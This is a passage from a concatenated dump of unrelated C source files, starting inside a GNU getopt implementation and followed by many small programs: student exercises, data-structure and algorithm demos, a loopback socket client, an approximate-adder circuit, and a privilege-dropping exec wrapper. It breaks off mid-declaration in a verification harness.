SWAP_FLAGS (bottom + i, middle + i);
}
/* Exclude the moved top segment from further swapping. */
bottom += len;
}
}
/* Update records for the slots the non-options now occupy. */
first_nonopt += (optind - last_nonopt);
last_nonopt = optind;
}
/* Initialize the internal data when the first call is made. */
#if defined __STDC__ && __STDC__
static const char *_getopt_initialize (int, char *const *, const char *);
#endif
static const char *
_getopt_initialize (argc, argv, optstring)
int argc;
char *const *argv;
const char *optstring;
{
/* Start processing options with ARGV-element 1 (since ARGV-element 0
is the program name); the sequence of previously skipped
non-option ARGV-elements is empty. */
first_nonopt = last_nonopt = optind;
nextchar = NULL;
posixly_correct = getenv ("POSIXLY_CORRECT");
/* Determine how to handle the ordering of options and nonoptions. */
if (optstring[0] == '-')
{
ordering = RETURN_IN_ORDER;
++optstring;
}
else if (optstring[0] == '+')
{
ordering = REQUIRE_ORDER;
++optstring;
}
else if (posixly_correct != NULL)
ordering = REQUIRE_ORDER;
else
ordering = PERMUTE;
#ifdef _LIBC
if (posixly_correct == NULL
&& argc == original_argc && argv == original_argv)
{
if (nonoption_flags_max_len == 0)
{
if (__getopt_nonoption_flags == NULL
|| __getopt_nonoption_flags[0] == '\0')
nonoption_flags_max_len = -1;
else
{
const char *orig_str = __getopt_nonoption_flags;
int len = nonoption_flags_max_len = strlen (orig_str);
if (nonoption_flags_max_len < argc)
nonoption_flags_max_len = argc;
__getopt_nonoption_flags =
(char *) malloc (nonoption_flags_max_len);
if (__getopt_nonoption_flags == NULL)
nonoption_flags_max_len = -1;
else
memset (__mempcpy (__getopt_nonoption_flags, orig_str, len),
'\0', nonoption_flags_max_len - len);
}
}
nonoption_flags_len = nonoption_flags_max_len;
}
else
nonoption_flags_len = 0;
#endif
return optstring;
}
/* Scan elements of ARGV (whose length is ARGC) for option characters
given in OPTSTRING.
If an element of ARGV starts with '-', and is not exactly "-" or "--",
then it is an option element. The characters of this element
(aside from the initial '-') are option characters. If `getopt'
is called repeatedly, it returns successively each of the option characters
from each of the option elements.
If `getopt' finds another option character, it returns that character,
updating `optind' and `nextchar' so that the next call to `getopt' can
resume the scan with the following option character or ARGV-element.
If there are no more option characters, `getopt' returns -1.
Then `optind' is the index in ARGV of the first ARGV-element
that is not an option. (The ARGV-elements have been permuted
so that those that are not options now come last.)
OPTSTRING is a string containing the legitimate option characters.
If an option character is seen that is not listed in OPTSTRING,
return '?' after printing an error message. If you set `opterr' to
zero, the error message is suppressed but we still return '?'.
If a char in OPTSTRING is followed by a colon, that means it wants an arg,
so the following text in the same ARGV-element, or the text of the following
ARGV-element, is returned in `optarg'. Two colons mean an option that
wants an optional arg; if there is text in the current ARGV-element,
it is returned in `optarg', otherwise `optarg' is set to zero.
If OPTSTRING starts with `-' or `+', it requests different methods of
handling the non-option ARGV-elements.
See the comments about RETURN_IN_ORDER and REQUIRE_ORDER, above.
Long-named options begin with `--' instead of `-'.
Their names may be abbreviated as long as the abbreviation is unique
or is an exact match for some defined option. If they have an
argument, it follows the option name in the same ARGV-element, separated
from the option name by a `=', or else the in next ARGV-element.
When `getopt' finds a long-named option, it returns 0 if that option's
`flag' field is nonzero, the value of the option's `val' field
if the `flag' field is zero.
The elements of ARGV aren't really const, because we permute them.
But we pretend they're const in the prototype to be compatible
with other systems.
LONGOPTS is a vector of `struct option' terminated by an
element containing a name which is zero.
LONGIND returns the index in LONGOPT of the long-named option found.
It is only valid when a long-named option has been found by the most
recent call.
If LONG_ONLY is nonzero, '-' as well as '--' can introduce
long-named options. */
int
_getopt_internal (argc, argv, optstring, longopts, longind, long_only)
int argc;
char *const *argv;
const char *optstring;
const struct option *longopts;
int *longind;
int long_only;
{
optarg = NULL;
if (optind == 0 || !__getopt_initialized)
{
if (optind == 0)
optind = 1; /* Don't scan ARGV[0], the program name. */
optstring = _getopt_initialize (argc, argv, optstring);
__getopt_initialized = 1;
}
/* Test whether ARGV[optind] points to a non-option argument.
Either it does not have option syntax, or there is an environment flag
from the shell indicating it is not an option. The later information
is only used when the used in the GNU libc. */
#ifdef _LIBC
# define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0' \
|| (optind < nonoption_flags_len \
&& __getopt_nonoption_flags[optind] == '1'))
#else
# define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0')
#endif
if (nextchar == NULL || *nextchar == '\0')
{
/* Advance to the next ARGV-element. */
/* Give FIRST_NONOPT & LAST_NONOPT rational values if OPTIND has been
moved back by the user (who may also have changed the arguments). */
if (last_nonopt > optind)
last_nonopt = optind;
if (first_nonopt > optind)
first_nonopt = optind;
if (ordering == PERMUTE)
{
/* If we have just processed some options following some non-options,
exchange them so that the options come first. */
if (first_nonopt != last_nonopt && last_nonopt != optind)
exchange ((char **) argv);
else if (last_nonopt != optind)
first_nonopt = optind;
/* Skip any additional non-options
and extend the range of non-options previously skipped. */
while (optind < argc && NONOPTION_P)
optind++;
last_nonopt = optind;
}
/* The special ARGV-element `--' means premature end of options.
Skip it like a null option,
then exchange with previous non-options as if it were an option,
then skip everything else like a non-option. */
if (optind != argc && !strcmp (argv[optind], "--"))
{
optind++;
if (first_nonopt != last_nonopt && last_nonopt != optind)
exchange ((char **) argv);
else if (first_nonopt == last_nonopt)
first_nonopt = optind;
last_nonopt = argc;
optind = argc;
}
/* If we have done all the ARGV-elements, stop the scan
and back over any non-options that we skipped and permuted. */
if (optind == argc)
{
/* Set the next-arg-index to point at the non-options
that we previously skipped, so the caller will digest them. */
if (first_nonopt != last_nonopt)
optind = first_nonopt;
return -1;
}
/* If we have come to a non-option and did not permute it,
either stop the scan or describe it to the caller and pass it by. */
if (NONOPTION_P)
{
if (ordering == REQUIRE_ORDER)
return -1;
optarg = argv[optind++];
return 1;
}
/* We have found another option-ARGV-element.
Skip the initial punctuation. */
nextchar = (argv[optind] + 1
+ (longopts != NULL && argv[optind][1] == '-'));
}
/* Decode the current option-ARGV-element. */
/* Check whether the ARGV-element is a long option.
If long_only and the ARGV-element has the form "-f", where f is
a valid short option, don't consider it an abbreviated form of
a long option that starts with f. Otherwise there would be no
way to give the -f short option.
On the other hand, if there's a long option "fubar" and
the ARGV-element is "-fu", do consider that an abbreviation of
the long option, just like "--fu", and not "-f" with arg "u".
This distinction seems to be the most useful approach. */
if (longopts != NULL
&& (argv[optind][1] == '-'
|| (long_only && (argv[optind][2] || !my_index (optstring, argv[optind][1])))))
{
char *nameend;
const struct option *p;
const struct option *pfound = NULL;
int exact = 0;
int ambig = 0;
int indfound = -1;
int option_index;
for (nameend = nextchar; *nameend && *nameend != '='; nameend++)
/* Do nothing. */ ;
/* Test all long options for either exact match
or abbreviated matches. */
for (p = longopts, option_index = 0; p->name; p++, option_index++)
if (!strncmp (p->name, nextchar, nameend - nextchar))
{
if ((unsigned int) (nameend - nextchar)
== (unsigned int) strlen (p->name))
{
/* Exact match found. */
pfound = p;
indfound = option_index;
exact = 1;
break;
}
else if (pfound == NULL)
{
/* First nonexact match found. */
pfound = p;
indfound = option_index;
}
else
/* Second or later nonexact match found. */
ambig = 1;
}
if (ambig && !exact)
{
if (opterr)
fprintf (stderr, _("%s: option `%s' is ambiguous\n"),
argv[0], argv[optind]);
nextchar += strlen (nextchar);
optind++;
optopt = 0;
return '?';
}
if (pfound != NULL)
{
option_index = indfound;
optind++;
if (*nameend)
{
/* Don't test has_arg with >, because some C compilers don't
allow it to be used on enums. */
if (pfound->has_arg)
optarg = nameend + 1;
else
{
if (opterr)
{
if (argv[optind - 1][1] == '-')
/* --option */
fprintf (stderr,
_("%s: option `--%s' doesn't allow an argument\n"),
argv[0], pfound->name);
else
/* +option or -option */
fprintf (stderr,
_("%s: option `%c%s' doesn't allow an argument\n"),
argv[0], argv[optind - 1][0], pfound->name);
}
nextchar += strlen (nextchar);
optopt = pfound->val;
return '?';
}
}
else if (pfound->has_arg == 1)
{
if (optind < argc)
optarg = argv[optind++];
else
{
if (opterr)
fprintf (stderr,
_("%s: option `%s' requires an argument\n"),
argv[0], argv[optind - 1]);
nextchar += strlen (nextchar);
optopt = pfound->val;
return optstring[0] == ':' ? ':' : '?';
}
}
nextchar += strlen (nextchar);
if (longind != NULL)
*longind = option_index;
if (pfound->flag)
{
*(pfound->flag) = pfound->val;
return 0;
}
return pfound->val;
}
/* Can't find it as a long option. If this is not getopt_long_only,
or the option starts with '--' or is not a valid short
option, then it's an error.
Otherwise interpret it as a short option. */
if (!long_only || argv[optind][1] == '-'
|| my_index (optstring, *nextchar) == NULL)
{
if (opterr)
{
if (argv[optind][1] == '-')
/* --option */
fprintf (stderr, _("%s: unrecognized option `--%s'\n"),
argv[0], nextchar);
else
/* +option or -option */
fprintf (stderr, _("%s: unrecognized option `%c%s'\n"),
argv[0], argv[optind][0], nextchar);
}
nextchar = (char *) "";
optind++;
optopt = 0;
return '?';
}
}
/* Look at and handle the next short option-character. */
{
char c = *nextchar++;
char *temp = my_index (optstring, c);
/* Increment `optind' when we start to process its last character. */
if (*nextchar == '\0')
++optind;
if (temp == NULL || c == ':')
{
if (opterr)
{
if (posixly_correct)
/* 1003.2 specifies the format of this message. */
fprintf (stderr, _("%s: illegal option -- %c\n"),
argv[0], c);
else
fprintf (stderr, _("%s: invalid option -- %c\n"),
argv[0], c);
}
optopt = c;
return '?';
}
/* Convenience. Treat POSIX -W foo same as long option --foo */
if (temp[0] == 'W' && temp[1] == ';')
{
char *nameend;
const struct option *p;
const struct option *pfound = NULL;
int exact = 0;
int ambig = 0;
int indfound = 0;
int option_index;
/* This is an option that requires an argument. */
if (*nextchar != '\0')
{
optarg = nextchar;
/* If we end this ARGV-element by taking the rest as an arg,
we must advance to the next element now. */
optind++;
}
else if (optind == argc)
{
if (opterr)
{
/* 1003.2 specifies the format of this message. */
fprintf (stderr, _("%s: option requires an argument -- %c\n"),
argv[0], c);
}
optopt = c;
if (optstring[0] == ':')
c = ':';
else
c = '?';
return c;
}
else
/* We already incremented `optind' once;
increment it again when taking next ARGV-elt as argument. */
optarg = argv[optind++];
/* optarg is now the argument, see if it's in the
table of longopts. */
for (nextchar = nameend = optarg; *nameend && *nameend != '='; nameend++)
/* Do nothing. */ ;
/* Test all long options for either exact match
or abbreviated matches. */
for (p = longopts, option_index = 0; p->name; p++, option_index++)
if (!strncmp (p->name, nextchar, nameend - nextchar))
{
if ((unsigned int) (nameend - nextchar) == strlen (p->name))
{
/* Exact match found. */
pfound = p;
indfound = option_index;
exact = 1;
break;
}
else if (pfound == NULL)
{
/* First nonexact match found. */
pfound = p;
indfound = option_index;
}
else
/* Second or later nonexact match found. */
ambig = 1;
}
if (ambig && !exact)
{
if (opterr)
fprintf (stderr, _("%s: option `-W %s' is ambiguous\n"),
argv[0], argv[optind]);
nextchar += strlen (nextchar);
optind++;
return '?';
}
if (pfound != NULL)
{
option_index = indfound;
if (*nameend)
{
/* Don't test has_arg with >, because some C compilers don't
allow it to be used on enums. */
if (pfound->has_arg)
optarg = nameend + 1;
else
{
if (opterr)
fprintf (stderr, _("\
%s: option `-W %s' doesn't allow an argument\n"),
argv[0], pfound->name);
nextchar += strlen (nextchar);
return '?';
}
}
else if (pfound->has_arg == 1)
{
if (optind < argc)
optarg = argv[optind++];
else
{
if (opterr)
fprintf (stderr,
_("%s: option `%s' requires an argument\n"),
argv[0], argv[optind - 1]);
nextchar += strlen (nextchar);
return optstring[0] == ':' ? ':' : '?';
}
}
nextchar += strlen (nextchar);
if (longind != NULL)
*longind = option_index;
if (pfound->flag)
{
*(pfound->flag) = pfound->val;
return 0;
}
return pfound->val;
}
nextchar = NULL;
return 'W'; /* Let the application handle it. */
}
if (temp[1] == ':')
{
if (temp[2] == ':')
{
/* This is an option that accepts an argument optionally. */
if (*nextchar != '\0')
{
optarg = nextchar;
optind++;
}
else
optarg = NULL;
nextchar = NULL;
}
else
{
/* This is an option that requires an argument. */
if (*nextchar != '\0')
{
optarg = nextchar;
/* If we end this ARGV-element by taking the rest as an arg,
we must advance to the next element now. */
optind++;
}
else if (optind == argc)
{
if (opterr)
{
/* 1003.2 specifies the format of this message. */
fprintf (stderr,
_("%s: option requires an argument -- %c\n"),
argv[0], c);
}
optopt = c;
if (optstring[0] == ':')
c = ':';
else
c = '?';
}
else
/* We already incremented `optind' once;
increment it again when taking next ARGV-elt as argument. */
optarg = argv[optind++];
nextchar = NULL;
}
}
return c;
}
}
int
getopt (argc, argv, optstring)
int argc;
char *const *argv;
const char *optstring;
{
return _getopt_internal (argc, argv, optstring,
(const struct option *) 0,
(int *) 0,
0);
}
#endif /* Not ELIDE_CODE. */
#ifdef TEST
/* Compile with -DTEST to make an executable for use in testing
the above definition of `getopt'. */
int
main (argc, argv)
int argc;
char **argv;
{
int c;
int digit_optind = 0;
while (1)
{
int this_option_optind = optind ? optind : 1;
c = getopt (argc, argv, "abc:d:0123456789");
if (c == -1)
break;
switch (c)
{
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
if (digit_optind != 0 && digit_optind != this_option_optind)
printf ("digits occur in two different argv-elements.\n");
digit_optind = this_option_optind;
printf ("option %c\n", c);
break;
case 'a':
printf ("option a\n");
break;
case 'b':
printf ("option b\n");
break;
case 'c':
printf ("option c with value `%s'\n", optarg);
break;
case '?':
break;
default:
printf ("?? getopt returned character code 0%o ??\n", c);
}
}
if (optind < argc)
{
printf ("non-option ARGV-elements: ");
while (optind < argc)
printf ("%s ", argv[optind++]);
printf ("\n");
}
exit (0);
}
#endif /* TEST */
|
the_stack_data/51700352.c | // code: 0
int main() { return 1 >> 10; } |
the_stack_data/64199213.c | int isprime(int n)
{
if (n<=1) return 0;
int i;
for (i=2; (i*i)<=n; i++) {
if (n % i == 0) return 0;
}
return 1;
}
|
the_stack_data/643927.c | /*
* Union initializers are part of C99 but not C++.
*
* Embed the test union inside a struct because there was an issue with
* that in VS2013 and union-inside-struct is needed by API macros.
*/
#include <stdio.h>
typedef union {
int a;
double b;
const char *c;
} test_union;
typedef struct {
int etype; /* 0=int, 1=double, 2=string */
test_union u;
} test_struct;
static void dump_struct(test_struct *t) {
switch (t->etype) {
case 0:
printf("Integer: %d\n", t->u.a);
break;
case 1:
printf("Double: %lf\n", t->u.b);
break;
case 2:
printf("String: %s\n", t->u.c);
break;
default:
printf("Unknown type: %d\n", t->etype);
}
}
int main(int argc, char *argv[]) {
test_struct v1 = { 0, 123 }; /* default is to initialize first alternative */
test_struct v2 = { 0, { .a = 234 } };
test_struct v3 = { 1, { .b = 123.456 } };
test_struct v4 = { 2, { .c = "foo" } };
dump_struct(&v1);
dump_struct(&v2);
dump_struct(&v3);
dump_struct(&v4);
}
|
the_stack_data/192331402.c | #include <stdio.h>
///Very very very Interesting problem :)
//Accepted
int main(){
int shelf, query;
scanf("%d%d", &shelf, &query);
int books[1101]={0};
int pages[1109][1109];
int type, x, y;
while(query--){
scanf("%d", &type);
if(type==1) {
scanf("%d%d", &x, &y); //x = shelf, y = pages
books[x]++;
pages[x][books[x-1]]=y;
}
else if(type==2) {
scanf("%d%d", &x, &y);
printf("%d\n", pages[x][y]);
}
else if(type==3) {
scanf("%d", &x);
printf("%d\n", books[x]);
}
}
return 0;
}
|
the_stack_data/33093.c |
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#ifdef TASE_TEST
#include "../../../../test/other/tasetraps.h"
#endif
#ifdef S2E_TEST
#include <time.h>
#include <s2e/s2e.h>
#endif
#ifndef TASE_TEST
int main() {
begin_target_inner();
}
#endif
int begin_target_inner () {
#ifdef S2E_TEST
struct timespec start;
clock_gettime(CLOCK_REALTIME, &start);
#endif
FILE * f = fopen( "GutenburgDictionary.txt", "r");
if (f == NULL) {
printf("Something went wrong with fopen \n");
#ifdef S2E_TEST
s2e_printf("\n\n\nSomething went wrong with fopen \n\n\n");
#endif
return 0;
}
#ifdef S2E_TEST
struct timespec timeAfterLoad;
clock_gettime(CLOCK_REALTIME, &timeAfterLoad);
#endif
fseek(f, 0, SEEK_END); //Seek to end...
long size = ftell(f); //Get index
rewind(f); //Go back to the start...
char * tmp = malloc (size);
fread(tmp, 1, size, f);
void * endRes = malloc(256);
sha256_buffer(tmp, size, endRes);
printf("Result is ... \n");
for (int i = 0 ; i < 16; i++) {
printf("%02x", *(((uint8_t *)(endRes)) + i));
}
printf("\n");
//For ASAN memory leak detection
free(tmp);
free(endRes);
#ifdef S2E_TEST
struct timespec end;
clock_gettime(CLOCK_REALTIME, &end);
//Convert time
uint64_t nanoSecondsAfterLoad = (end.tv_sec - timeAfterLoad.tv_sec) * 1000000000 + end.tv_nsec - timeAfterLoad.tv_nsec;
double secondsAfterLoad = nanoSecondsAfterLoad/1000000000.;
s2e_printf("AFTER LOAD, Elapsed time is %lu nanoseconds \n", nanoSecondsAfterLoad);
s2e_printf("That's roughly %lf seconds \n", secondsAfterLoad);
uint64_t nanoSecondsTotal = (end.tv_sec - start.tv_sec) * 1000000000 + end.tv_nsec - start.tv_nsec;
double secondsTotal = nanoSecondsTotal/1000000000.;
s2e_printf("TOTAL Elapsed time WITH LOAD is %lu nanoseconds \n", nanoSecondsTotal);
s2e_printf("That's roughly %lf seconds \n", secondsTotal);
#endif
}
|
the_stack_data/57950971.c |
/******************** COPYRIGHT AND LICENCE NOTICE ********************
This source code is part of the BIGDIGITS multiple-precision
arithmetic library Version 2.3 originally written by David Ireland,
copyright (c) 2001-11 D.I. Management Services Pty Limited, all rights
reserved. You are permitted to use compiled versions of this code at
no charge as part of your own executable files and to distribute
unlimited copies of such executable files for any purposes including
commercial ones provided you agree to these terms and conditions and
keep the copyright notices intact in the source code and you ensure
that the following characters remain in any object or executable files
you distribute AND clearly in any accompanying documentation:
"Contains BIGDIGITS multiple-precision arithmetic code originally
written by David Ireland, copyright (c) 2001-11 by D.I. Management
Services Pty Limited <www.di-mgt.com.au>, and is used with
permission."
David Ireland and DI Management Services Pty Limited make no
representations concerning either the merchantability of this software
or the suitability of this software for any particular purpose. It is
provided "as is" without express or implied warranty of any kind. Our
liability will be limited exclusively to the refund of the money you
paid us for the software, namely nothing. By using the software you
expressly agree to such a waiver. If you do not agree to the terms, do
not use the software.
Please forward any comments and bug reports to <www.di-mgt.com.au>.
The latest version of the source code can be downloaded from
<www.di-mgt.com.au/bigdigits.html>.
Last updated: 11 November 2011.
*************** END OF COPYRIGHT AND LICENCE NOTICE ******************/
|
the_stack_data/34513760.c | #include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <grp.h>
int
main(int argc, char *argv[])
{
struct passwd *pw = getpwnam("nobody");
if (pw == NULL) {
perror("getpwnam");
return EXIT_FAILURE;
}
if (setgroups(0, NULL) < 0) {
perror("setgroups");
return EXIT_FAILURE;
}
if (setregid(pw->pw_gid, pw->pw_gid) < 0) {
perror("setregid");
return EXIT_FAILURE;
}
if (setreuid(pw->pw_uid, pw->pw_uid) < 0) {
perror("setreuid");
return EXIT_FAILURE;
}
execvp(argv[1], argv + 1);
perror("execvp");
return EXIT_FAILURE;
}
|
the_stack_data/89200616.c | #include <stdio.h>
#include <stdlib.h>
typedef struct{
char nome[20];
char curso[30];
int matricula;
}chamada;
int main()
{
chamada aluno[5];
int i;
for(i=0;i<5;i++){
printf("\n-==-==-==-==-==-==-==-==-==-\n");
printf("diga seu nome:");
gets(aluno[i].nome);
printf("informe seu curso:");
gets(aluno[i].curso);
printf("Digite sua matricula:");
scanf("%d",&aluno[i].matricula);
printf("\n-==-==-==-==-==-==-==-==-==-=-\n");
getchar();
}
printf("Dados dos alunos para ser imprimido:\n");
for(i=0;i<5;i++){
printf("\n-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_\n");
printf("\nAluno: %s\n",aluno[i].nome);
printf("Curso: %s\n",aluno[i].curso);
printf("Matricula: %d\n",aluno[i].matricula);
printf("\n-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_");
// getchar();
}
}
|
the_stack_data/926603.c | void main()
{
abort();
}
|
the_stack_data/929615.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
void criaArquivo(char nome[40]){
FILE *f=fopen(nome,"w");
fclose(f);
}
void bubblesort(int v[3]){
int i, j, aux;
for(i=0;i<3;i++)
for(j=0;j<2;j++)
if(v[j]>v[j+1]){
aux=v[j];
v[j]=v[j+1];
v[j+1]=aux;
}
}
int main()
{
FILE *f1,*f2;
f1=fopen("aluno_entrada.txt","r");
f2=fopen("aluno_saida.txt","w");
if(f1==NULL){
criaArquivo("aluno_entrada.txt");
f1=fopen("aluno_entrada.txt","r");
}
char c;
int i=0, notas[3], nota=0;
do{
c=fgetc(f1);
if(isdigit(c)){
notas[i]=c-'0';
i++;
nota=1;
}
else if(nota==0)
fputc(c,f2);
}while(c!=EOF);
bubblesort(notas);
fprintf(f2, "%d %d %d", notas[0], notas[1], notas[2]);
fclose(f1);
fclose(f2);
return 0;
system("PAUSE");
}
|
the_stack_data/26699399.c | #include<stdio.h>
int min (int a,int b)
{
if (a<b)
return a;
else
return b;
}
void floyd(int d[50][50],int n)
{
int i,j,k;
for(k=0;k<n;k++)
for(i=0;i<n;i++)
for(j=0;j<n;j++)
d[i][j]=min(d[i][j],d[i][k]+d[k][j]);
}
int main()
{
int d[50][50],i,j,n;//d = weighted cost adjacency matrix (could be visualised as distances from point to point)
printf("Enter the number of vertices:\n");
scanf("%d",&n);//n = no. of vertices
printf("Enter the cost adjacency matrix:\n");
for(i=0;i<n;i++)
for(j=0;j<n;j++)
scanf("%d",&d[i][j]);
floyd(d,n);
printf("The minimum distance matrix is:\n");
for(i=0;i<n;i++)
{
for(j=0;j<n;j++)
printf("%d \t",d[i][j]);
printf("\n");
}
return 0;
}
|
the_stack_data/113272.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
main(int argc, char *args[argc])
{
printf("PID: %ld\n", (long) getpid());
exit(EXIT_SUCCESS);
}
|
the_stack_data/134534.c | // Client side C/C++ program to demonstrate Socket programming
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#define PORT 8080
int main(int argc, char const *argv[])
{
int sock = 0, valread;
struct sockaddr_in serv_addr;
char *hello = "Hello from client";
char buffer[1024] = {0};
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Socket creation error \n");
return -1;
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(PORT);
// Convert IPv4 and IPv6 addresses from text to binary form
if(inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr)<=0)
{
printf("\nInvalid address/ Address not supported \n");
return -1;
}
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("\nConnection Failed \n");
return -1;
}
send(sock , hello , strlen(hello) , 0 );
printf("Hello message sent\n");
valread = read( sock , buffer, 1024);
printf("%s\n",buffer );
return 0;
}
|
the_stack_data/75139084.c | /* Exercise 1 - Calculations
Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */
#include <stdio.h>
int main() {
int mark1,mark2,total;
float average;
printf("Enter mark 1 :");
scanf("%d",&mark1);
printf("Enter mark 2 :");
scanf("%d",&mark2);
total=mark1+mark2;
average=total/2;
printf("Total :%.d\n",total);
printf("Average :%.2f",average);
return 0;
}
|
the_stack_data/11074986.c | #include <stdio.h>
int main(void)
{
int num1, denom1, num2, denom2, result_num, result_denom;
printf("Enter first fraction: ");
scanf("%d / %d", &num1, &denom1);
printf("Enter second fraction: ");
scanf("%d / %d", &num2, &denom2);
result_num = num1 * denom2 + num2 * denom1;
result_denom = denom1 * denom2;
printf("The sum is %d/%d\n", result_num, result_denom);
return 0;
}
|
the_stack_data/37637290.c | /***
* This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License.
* When used, please cite the following article(s): V. Mrazek, L. Sekanina, Z. Vasicek "Libraries of Approximate Circuits: Automated Design and Application in CNN Accelerators" IEEE Journal on Emerging and Selected Topics in Circuits and Systems, Vol 10, No 4, 2020
* This file contains a circuit from a sub-set of pareto optimal circuits with respect to the pwr and ep parameters
***/
// MAE% = 1.54 %
// MAE = 7.9
// WCE% = 8.59 %
// WCE = 44
// WCRE% = 66.67 %
// EP% = 59.96 %
// MRE% = 3.76 %
// MSE = 190
// PDK45_PWR = 0.018 mW
// PDK45_AREA = 65.2 um2
// PDK45_DELAY = 0.24 ns
#include <stdint.h>
#include <stdlib.h>
uint64_t add8u_8FD(uint64_t a, uint64_t b) {
int wa[8];
int wb[8];
uint64_t y = 0;
wa[0] = (a >> 0) & 0x01;
wb[0] = (b >> 0) & 0x01;
wa[1] = (a >> 1) & 0x01;
wb[1] = (b >> 1) & 0x01;
wa[2] = (a >> 2) & 0x01;
wb[2] = (b >> 2) & 0x01;
wa[3] = (a >> 3) & 0x01;
wb[3] = (b >> 3) & 0x01;
wa[4] = (a >> 4) & 0x01;
wb[4] = (b >> 4) & 0x01;
wa[5] = (a >> 5) & 0x01;
wb[5] = (b >> 5) & 0x01;
wa[6] = (a >> 6) & 0x01;
wb[6] = (b >> 6) & 0x01;
wa[7] = (a >> 7) & 0x01;
wb[7] = (b >> 7) & 0x01;
int sig_17 = wa[0] & wb[0];
int sig_18 = wa[1] | wb[1];
int sig_21 = sig_18 | sig_17;
int sig_24 = wa[2] & wb[2];
int sig_27 = sig_24;
int sig_28 = wa[3] ^ wb[3];
int sig_29 = wa[3] & wb[3];
int sig_31 = sig_28 | sig_27;
int sig_32 = sig_29;
int sig_33 = wa[4] ^ wb[4];
int sig_34 = wa[4] & wb[4];
int sig_35 = wa[0] ^ wb[0];
int sig_36 = sig_33 | sig_32;
int sig_37 = sig_34;
int sig_38 = wa[5] ^ wb[5];
int sig_39 = wa[5] & wb[5];
int sig_40 = wb[2] ^ wa[2];
int sig_41 = sig_38 | sig_37;
int sig_42 = sig_39;
int sig_43 = wa[6] ^ wb[6];
int sig_44 = wa[6] & wb[6];
int sig_45 = sig_43 & sig_42;
int sig_46 = sig_43 ^ sig_42;
int sig_47 = sig_44 | sig_45;
int sig_48 = wa[7] ^ wb[7];
int sig_49 = wa[7] & wb[7];
int sig_50 = sig_48 & sig_47;
int sig_51 = sig_48 ^ sig_47;
int sig_52 = sig_49 | sig_50;
y |= (sig_35 & 0x01) << 0; // default output
y |= (sig_21 & 0x01) << 1; // default output
y |= (sig_40 & 0x01) << 2; // default output
y |= (sig_31 & 0x01) << 3; // default output
y |= (sig_36 & 0x01) << 4; // default output
y |= (sig_41 & 0x01) << 5; // default output
y |= (sig_46 & 0x01) << 6; // default output
y |= (sig_51 & 0x01) << 7; // default output
y |= (sig_52 & 0x01) << 8; // default output
return y;
}
|
the_stack_data/22241.c | #include <stdio.h>
void solution(double solu[4]);
int main()
{
double solu[4] = {0, 0, 0, 0};
printf("000 %lf\n", solu[0]);
solution(solu);
printf("222 %lf\n", solu[0]);
}
void solution(double solu[4])
{
// γγγγγγ
solu[0] = 1;
printf("111 %lf\n", solu[0]);
return;
}
|
the_stack_data/92328792.c | #include <stdio.h>
#include <stdlib.h>
struct node {
int data;
struct node * prev;
struct node * next;
}*head, *last;
void createList(int n);
void displayList();
void insertAtBeginning(int data);
int main()
{
int n, data, choice=1;
head = NULL;
last = NULL;
printf("\nEnter the total number of nodes in list : "); // Input the number of nodes
scanf("%d", &n);
createList(n);
displayList();
printf("\n\nEnter data of first node : ");
scanf("%d", &data);
insertAtBeginning(data);
displayList();
return 0;
}
void createList(int n)
{
int i, data;
struct node *newNode;
if(n >= 1)
{
head = (struct node *)malloc(sizeof(struct node));
printf("\nEnter data of node 1 : ");
scanf("%d", &data);
head->data = data;
head->prev = NULL; // HEAD nodes's prev is set to NULL
head->next = NULL; // HEAD nodes's next is set to NULL
last = head;
for(i=2; i<=n; i++)
{
newNode = (struct node *)malloc(sizeof(struct node));
printf("\nEnter data of node %d : ", i);
scanf("%d", &data);
newNode->data = data;
newNode->prev = last; // Link new node with the previous node
newNode->next = NULL;
last->next = newNode; // Link previous node with the new node
last = newNode; // Make new node as last node
}}}
void displayList()
{
struct node * temp;
int n = 1;
if(head == NULL)
{
printf("\nList is empty.\n");
}
else
{
temp = head;
printf("\nTHE DOUBLY LINKED LIST IS :\n\n");
// Print the list
while(temp != NULL)
{
printf("%d\t", temp->data);
n++;
/* Move the current pointer to next node */
temp = temp->next;
}}}
/* Function to insert node at the beginning of the list */
void insertAtBeginning(int data)
{
struct node * newNode;
if(head == NULL)
{
printf("Error, List is Empty!\n");
}
else
{
newNode = (struct node *)malloc(sizeof(struct node));
newNode->data = data;
newNode->next = head; // Point to next node which is currently head
newNode->prev = NULL; // Previous node of first node is NULL
/* Link previous address field of head with newNode */
head->prev = newNode;
/* Make the new node as head node */
head = newNode;
}
}
|
the_stack_data/1154421.c | #include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[]) {
unsigned int i;
unsigned int a;
unsigned int l;
if (argc != 2) {
printf("Usage: %s <iterations>\n", argv[0]);
exit(-1);
}
l = (unsigned int) atoi(argv[1]);
for (i = 0; i < l; i++) {
a++;
}
printf("Finished!\n");
return 0;
}
|
the_stack_data/198581606.c | #include <stdio.h>
int main()
{
char names[5][9] = {
"Ant",
"Bee",
"Cat",
"Duck",
"Elephant"
};
int x;
for(x=0;x<5;x++)
printf("%s\n",names[x]);
return(0);
}
|
the_stack_data/234518974.c | extern float __VERIFIER_nondet_float(void);
extern int __VERIFIER_nondet_int(void);
typedef enum {false, true} bool;
bool __VERIFIER_nondet_bool(void) {
return __VERIFIER_nondet_int() != 0;
}
int main()
{
bool _EL_U_4706, _x__EL_U_4706;
float x_25, _x_x_25;
float x_14, _x_x_14;
float x_36, _x_x_36;
float x_33, _x_x_33;
float x_32, _x_x_32;
float x_3, _x_x_3;
